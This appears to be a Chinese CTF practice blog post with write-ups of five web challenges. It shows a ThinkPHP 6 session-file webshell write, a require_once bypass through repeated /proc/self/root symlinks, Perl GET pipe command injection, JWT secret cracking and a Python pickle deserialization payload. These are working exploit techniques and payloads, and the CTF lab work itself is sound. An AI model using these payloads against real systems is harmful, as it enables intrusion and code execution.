buu练习8

前言

养好状态准备打MRCTF和ISCC,继续刷题

[GYCTF2020]EasyThinking

根据题目判断本题要利用到ThinkingPHP的漏洞进行攻击,进入网页先随便进入个不存在的路由,获得版本为ThinkPHP V6.0.0。信息搜集发现存在www.zip源码泄露。

接着去找对应版本的漏洞,发现一个反序列化漏洞和任意文件操作漏洞,通过对比源码以及版本判断本题应该是任意文件操作漏洞,参考文章:
ThinkPHP6任意文件操作漏洞的示例分析

我们翻阅vendor/topthink/framework/src/think/session/driver/File.php,发现文件驱动部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
public function __construct(App $app, array $config = [])
{
$this->config = array_merge($this->config, $config);

if (empty($this->config['path'])) {
$this->config['path'] = $app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . 'session' . DIRECTORY_SEPARATOR;
} elseif (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) {
$this->config['path'] .= DIRECTORY_SEPARATOR;
}

$this->init();
}

文件保存在/runtime/session中。接下来审计各个路由的功能,发现
app/home/controller/Member.php中存在的search函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}

search函数会把搜索框POST数据存到session文件里面,生成的session文件名规则即为sess_PHPSESSID。

接下来我们注册账号并登录,在搜索时进行抓包,写入一句马,将PHPSESSID改为32位的php文件名,key值为写入内容:

查看runtime/session/sess_1234567890123456789012345678.php,发现写入成功,查看disable_functions,命令执行函数被禁用。

那么我们先再写入一个一句马,接着去github上下载一个exploit.php这个poc,将11行改为pwn(/readflag),上传到/var/tmp中。接着用上面的方法继续写入文件使得这个poc被包含:
key=<?php include('/var/tmp/exploit.php');?>

最后返回sess_1234567890123456789012345678.php,获得flag。

[FireshellCTF2020]Caas

进入网页,发现要我们输入内容进行编译,那么我们先随便输入点php代码,发现他不能识别这个代码,那么这就不是php编译器,那么我们进行各种尝试。

最后发现c语言成功编译,并且生成了ELF文件,并且成功输出了hello world。啊这不是web题吗,为啥使用的是c语言啊,难不成我还得去利用c的漏洞?

尝试调用shell读取flag,无果,那么尝试文件包含:

1
#include "/etc/passwd"

发现文件成功读取,那么我们读取/flag,成功得到flag。

[WMCTF2020]Make PHP Great Again

审计代码

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

这题的代码很眼熟,就感觉我在哪里见过类似的,后来翻了翻我最近的记录,发现这不是p牛去年写的使用多级软连接绕过文件判断吗,我们就用这个方法来绕过。

简单介绍下这个trick,就是正常情况下php会将用户输入的文件名进行resolve,转化成绝对路径,这时.././都会进行计算,但如果软连接跳转次数达到一个上限,那么linux的lstat函数就会出错,导致php计算出的绝对路径和原始路径不同,从而绕过require_once。

linux下最常用的软连接就是/proc/self/root,这个路径指向根目录,因此我们构建payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

解码base64得到flag。

[HITCON 2017]SSRFme

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

首先代码创建了个sandbox文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip。

接着是关键部分,我们首先要了解peal函数中get命令漏洞:

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

那么我们就可以在url参数中传入读取flag的命令,然后写进文件中,我们在打开这个文件就可以获取flag了。

payload:

1
?url=/&filename=a

查看在根目下的文件,发现readflag文件,因此使用bash命令执行readflag。我们需要先创建一个与我们需要执行命令相同的文件,然后使用管道截获该流程,使之为命令的执行,这里要创建一模一样的文件:

1
?url=file:bash -c /readflag|&filename=bash -c /readflag|

最后修改存储的文件,并读取flag输入到存储的文件中去,读取flag:

1
?url=file:bash -c /readflag|&filename=mrl64

[CISCN2019 华北赛区 Day1 Web2]ikun

进入网页告诉我们要买到lv6爆破B站,宣告ikun主权,太爱了。然后注册账号登录,发现自己有1000元,好结果找了商店找了十页都没找到lv6,太爱了。

直接写脚本找lv6:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time

url = "http://47a66447-4bfa-417f-9165-0bccf73f8701.node4.buuoj.cn:81/shop"
params = {"page": ""}
flag= ""
for i in range(1, 500):
params["page"] = i
r = requests.get(url, params=params)
time.sleep(1)//buu访问限制
if "lv6.png" in r.text:
print(i)
break

最后找到在181页,兴冲冲进去发现怎么价格这么臭啊(bushi,1145141919元根本买不起,怀疑存在逻辑漏洞,前端更改相关参数,发现更改折扣后不是回显操作失败,而是只允许管理员访问。

没有发现登录漏洞,储存中发现JWT,应该是更改jwt,更改username为admin后发现依然无法购买成功,那应该是存在密钥的,使用c-jwt-cracker工具进行爆破,爆出私钥为1Kun。

更改jwt后成功买到6级号,但是还要我们成为大会员,麻了怎么还有,当ikun好累。点击按钮发现没用,查看源码发现存在/static/asd1f654e683wq/www.zip,下载源码。

Admin.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

好家伙看到tornado本来以为是模板注入,后来发现这里是pickle反序列化漏洞。参考文章:
Python Pickle反序列化漏洞

之后应该也会写一个pickle反序列化的博客。

那么根据文章内容,我们构造poc:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))

a = payload()
print urllib.quote(pickle.dumps(a))

最后抓包并将payload传值给become即可获取flag】。